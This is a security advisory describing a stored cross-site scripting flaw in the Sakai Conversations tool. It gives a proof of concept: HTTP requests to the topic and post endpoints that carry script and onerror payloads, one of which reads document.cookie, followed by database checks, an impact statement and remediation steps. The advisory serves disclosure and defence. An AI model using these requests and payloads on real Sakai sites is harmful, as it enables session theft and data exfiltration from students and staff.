GHSA-w2x5-gv52-9ccv: XSS
Summary
The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.
Description
The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (convtopics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.
The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in convcomments.
On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:
- SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)} - SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)} - SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}
Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.
Proof of Concept
Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP275K7418).
Step 1 - Inject XSS payload in topic:
POST /api/sites/BELP275K7418/topics HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=<authenticated-session> Content-Type: application/json
{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}
Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.
Step 2 - Verify stored in database:
sql SELECT TOPICID, TITLE, MESSAGE FROM convtopics WHERE TOPICID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb'; -- Result: MESSAGE = <img src=x onerror=alert(1)>
Step 3 - Inject XSS payload in post reply:
POST /api/sites/BELP275K7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=<authenticated-session> Content-Type: application/json
{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP275K7418"}
Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.
Step 4 - Verify in database:
sql SELECT POSTID, MESSAGE FROM convposts WHERE POSTID='e3cf7aed-c630-448a-89bb-27a8baacd269'; -- Result: MESSAGE = <script>alert(document.cookie)</script>
When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.
Impact
An attacker with any site membership (student role or higher) can: - Perform actions on behalf of victims - Exfiltrate gradebook data and course content - In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously
Status / timeline: - 2026-06-02: Fix committed to master (2696b4b48cbef2e81512f52f84f7477adff78b27) - Release pending.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
Sakai Conversations tool (SakaiTopic.js, SakaiPost.js, SakaiComment.js / ConversationsServiceImpl)to a version that resolves this vulnerability.Patch 2696b4b48cbef2e81512f52f84f7477adff78b27 - Configuration
Remove usage of LitElement's unsafeHTML() for Conversations message rendering (SakaiTopic.js line 679, SakaiPost.js lines 429 and 432, SakaiComment.js line 148) and render message content using an HTML sanitizer/safer rendering path so injected HTML/JS is not executed.
Frontend (LitElement web components: SakaiTopic.js / SakaiPost.js / SakaiComment.js) Rendering of message field (LitElement unsafeHTML) = Replace unsafeHTML(this.topic.message / this.post.message / this.comment.message) with sanitized HTML rendering - Configuration
Update ConversationsServiceImpl so that message content is sanitized before persistence (currently stored directly into database fields like conv_topics.MESSAGE without calling FormattedText.processFormattedText() or equivalent HTML sanitizer).
Backend service (ConversationsServiceImpl) Message persistence sanitization = Apply HTML sanitization before storing to conv_topics.MESSAGE/conv_posts.MESSAGE/conv_comments.MESSAGE
Event History
Frequently Asked Questions
Who can exploit this issue, and who is exposed to the payload?
An authenticated user who can access a site with the Conversations tool enabled can submit malicious content. The payload executes in the browsers of other users who view the affected topic, post, or comment.
What attacker access and interaction are required?
The attacker needs authenticated access to an affected site and must be able to create a topic, reply, or comment through the Conversations API. A victim must view the stored content for the JavaScript to execute.
Which API operations and stored content should be reviewed?
Review topic creation through POST /api/sites/{siteId}/topics and post creation through POST /api/sites/{siteId}/topics/{topicId}/posts. The affected message content is stored in conv_topics.MESSAGE, and the issue also affects replies and comments stored in conv_comments.
Can existing stored content remain dangerous after remediation?
Yes. Because the vulnerable behavior stores message fields directly and later renders them with unsafeHTML(), previously submitted malicious topics, posts, or comments may execute when viewed. Review existing Conversations content for untrusted HTML or JavaScript.